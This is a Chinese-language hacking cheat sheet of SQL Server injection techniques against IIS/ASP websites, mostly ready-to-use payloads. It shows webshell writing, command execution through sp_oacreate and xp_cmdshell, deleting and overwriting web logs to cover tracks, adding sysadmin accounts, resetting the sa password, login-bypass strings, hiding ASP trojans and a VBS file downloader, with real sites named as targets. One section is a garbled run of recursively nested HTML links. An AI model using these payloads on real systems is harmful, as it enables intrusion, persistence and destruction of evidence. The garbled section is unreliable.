1、 master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';-- 用^转义字符来写ASP文件的方法。
2、 and 1=(select @@VERSION) 显示SQL系统版本: Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行242 Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int. /display.asp,行17 3、 我在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用“in”关键字进行查询,例如“select * from mytable where id in(1)”,括号中的值就是我们提交的数据,它的结果与使用“select * from mytable where id=1”的查询结果完全相同。所以访问页面的时候在URL后面加上“) and 1=1 and 1 in(1”后原来的SQL语句就变成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为“包含数字型”吧,聪明的你一定想到了还有“包含字符型”呢。对了,它就是由于类似“select * from mytable where name in(‘firstsee’)”的查询语句造成的。
4、 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell') 判断xp_cmdshell扩展存储过程是否存在。
5、 user test ptlove /add' 向启动组中写入命令行和执行程序
6、 () 查看当前的数据库名称Microsoft VBScript 编译器错误 错误 '800a03f6' 缺少 'End' /iisHelp/common/500-100.asp,行242 Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int. /display.asp,行17 7、 列出当前所有的数据库名称:select * from master.dbo.sysdatabases
8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令: CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL) DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true' --注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' --因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌
WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
DROP TABLE MYTMP
---------- DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行里面将WEB用户加到管理员组中: DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll">c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
以下是一行中执行EXE程序: DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:\test.net.cn\score\fts\images\iis.vbs lh1 c:\>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
SQL下两种执行CMD命令的方法:
先删除7.18号日志: (1)exec master.dbo.xp_cmdshell 'del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt' (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:\winnt\system32\logfiles\W3SVC5\ex050718.log >c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
再考贝一个其它文件来代替7.18日文件: (1)exec master.dbo.xp_cmdshell 'copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt' (2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:\winnt\system32\logfiles\W3SVC5\ex050716.log C:\winnt\system32\logfiles\W3SVC5\ex050718.log>c:\temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END
9、 用UPDATE来更新表中的数据: <a href='<a href='<a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a></a> target='_blank'><a href='<a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a></a> target='_blank'><a href='<a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html''' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html''</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a>' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html'</a></a> target='_blank'><a href='<a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html</a>'' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html</a>'</a> target='_blank'><a href='HTTP://xxx.xxx.xxx/abc_p_YY;update.html' target='_blank'>HTTP://xxx.xxx.xxx/abc_p_YY;update.html</a> upload.dbo.admin set pwd=' a0b923820dcc509a' where username='www';-- www用户密码的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1
10、 利用表内容导成文件功能 SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。 命令行格式如下: bcp "select * from temp " queryout c:\inetpub\wwwroot\runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。
10、创建表、播入数据和读取数据的方法  创建表: ' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--  往表里播入数据: ' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);-- ' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--  从表里读取数据: ' and 1=(select count(*) from cyfd where gyfd >1)--
 删除临时表: ';drop table cyfd;--
12、通过SQL语句直接更改sa的密码:  update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。
 查看本机所有的数据库用户名: select * from master.dbo.sysxlogins select name,sid,password ,dbid from master.dbo.sysxlogins
 更改sa口令方法:用sql综合利用工具连接后,执行命令: exec sp_password NULL,'新密码','sa'
13、查询dvbbs库中所有的表名和表结构  select * from dvbbs.dbo.sysobjects where xtype='U' and status>0  select * from dvbbs.dbo.syscolumns where id=1426104121
14、手工备份当前数据库 完全备份: ;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT-- 差异备份: ;declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—
15、添加和删除一个SA权限的用户test exec master.dbo.sp_addlogin test,ptlove exec master.dbo.sp_addsrvrolemember test,sysadmin
cmd.exe /c isql -E /U alma /P /i K:\test.qry
16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出库ChouYFD中所有的用户建立的表名。 Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0
17、  (where id=1234) 列出rdweb库中所有表中的字段名称  select * from dvbbs.dbo.syscolumns where id=5575058 列出库dvbbs中表id=5575058的所有字段名
18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978
19、绕过登录验证进入后台的方法整理: 1)' or''=' 2) ' or 1=1-- 3) ‘ or ‘a’=’a-- 4) ‘or’=’or’ 5) " or 1=1-- 6)or 1=1-- 7) or ’a=’a 8)" or "a"="a 9) ’) or (’a’=’a 10) ") or ("a"="a 11) ) or (1=1
20、寻找网站路径的四种方法 1)查看WEB网站安装目录命令:  cscript c:\inetpub\adminscripts\adsutil.vbs enum w3svc/2/root >c:\test1.txt (将2换成1、3、4、5试试) type c:\test1.txt del c:\test1.txt 在NBSI下可以直接显示运行结果,所以不用导出到文件
2)在网站上随便找到一个图片的名字 123.jpg 然后写进批处理程序123.bat: d: dir 123.jpg /s >c:\123.txt e: dir 123.jpg /s >>c:\123.txt f: dir 123.jpg /s >>c:\123.txt
执行后 type c:\123.txt 这样来分析网站的路径
3)SQL服务器和网站服务器在同一个服务器上,好了是可以执行命令是吧? 将执行命令输出结果到 %windir%\help\iishelp\common\404b.htm或者500.asp 注意输出前Backup这两个文件 如: dir c:\ >%windir%\help\iishelp\common\404b.htm 然后随便输入一个文件来访问:http://目标ip/2.asp
4)针对win2000系统:xp_regread读取HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots 获取WEB路径 2003系统:xp_regread读取,未找到利用方法 如: (1) 新建一个表cyfd(字段为gyfd): table [dbo].[cyfd]([gyfd][char](255))-- (2) 把web路径写进去:http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);-- (3) 还是让他不匹配,显示错误:http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1) Source: .Net SqlClient Data Provider Description: 将 varchar 值 'Y:\Web\烟台人才热线后台管理系统,,201 ' 转换为数据类型为 int 的列时发生语法错误。 TargeSite: Boolean Read() 哈哈哈。。路径暴露了。。 (4)接下来删除表:http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--
5)用regedit命令导出注册表,将导出的结果保存的路径到%windir%\help\iishelp\common\404b.htm或者500.asp页面 regedit命令说明: Regedit /L:system /R:user /E filename.reg Regpath 参数含义: /L:system指定System.dat文件所在的路径。 /R:user指定User.dat文件所在的路径。 /E:此参数指定注册表编辑器要进行导出注册表操作,在此参数后面空一格,输入导出注册表的文件名。 Regpath:用来指定要导出哪个注册表的分支,如果不指定,则将导出全部注册表分支。在这些参数中,"/L:system"和"/R:user"参数是可选项,如果不使用这两个参数,注册表编辑器则认为是对WINDOWS目录下的"system.dat"和"user.dat"文件进行操作。如果是通过从软盘启动并进入DOS,那么就必须使用"/L"和"/R"参数来指定"system.dat"和"user.dat"文件的具体路径,否则注册表编辑器将无法找到它们。比如说,如果通过启动盘进入DOS,则备份注册表的命令是"Regedit /L:C:\windows\/R:C:\windows\/e regedit.reg",该命令的意思是把整个注册表备份到WINDOWS目录下,其文件名为"regedit.reg"。而如果输入的是"regedit /E D:\regedit.reg"这条命令,则是说把整个注册表备份到D盘的根目录下(省略了"/L"和"/R"参数),其文件名为"Regedit.reg"。
regedit /s c:\adam.reg 导入c:\adam.reg文件至注册表 regedit /e c:\web.reg 备份全部注册内容到c:\web.reg中 针对win2000系统:C:\>regedit /e %windir%\help\iishelp\common\404b.htm "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots" 然后http://目标IP/2.asp 针对win2003系统:没有找到,希望找到的朋友公布出来一起讨论
6)虚拟主机下%SystemRoot%\system32\inetsrv\MetaBack\下的文件是iis的备份文件,是允许web用户访问的,如果你的iis备份到这里,用webshell下载下来后用记事本打开,可以获取对应的域名和web绝对路径。
7)SQL注入建立虚拟目录,有dbo权限下找不到web绝对路径的一种解决办法: 我们很多情况下都遇到SQL注入可以列目录和运行命令,但是却很不容易找到web所在目录,也就不好得到一个webshell,这一招不错:  建立虚拟目录win,指向c:\winnt\system32:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\winnt\system32"'  让win目录具有解析asp脚本权限:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'  删除虚拟目录win:exec master.dbo.xp_cmdshell 'cscript C:\inetpub\AdminScripts\adsutil.vbs delete w3svc/1/root/win/'  测试:
21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行: c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll
查看是否成功: c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps
Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。 inprocessisapiapps : (LIST) (6 Items) "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "c:\winnt\system32\inetsrv\asp.dll"
22、如何隐藏ASP木马: 建立非标准目录:mkdir images..\ 拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp 通过web访问ASP木马: 如何删除非标准目录:rmdir images..\ /s
23、去掉tenlnet的ntlm认证: ;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'--
24、用echo写入文件下载脚本iget.vbs: (1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs
(2)c:\>cscript iget.vbs dbm6.asp
25、列出所有数据库名称: select * from master.dbo.sysdatabases 列出所有列的记录 select name from master.dbo.sysdatabases 仅列出name列的记录
26、手工建立IIS隐藏目录的方法:  查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root  新建一个kiss目录:mkdir c:\asp\kiss  建立kiss虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss"  为kiss目录加执行和写权限: cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s: cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:  ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false  访问:
27、使用openrowset()连回本地做测试: SELECT a.* FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111', 'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a
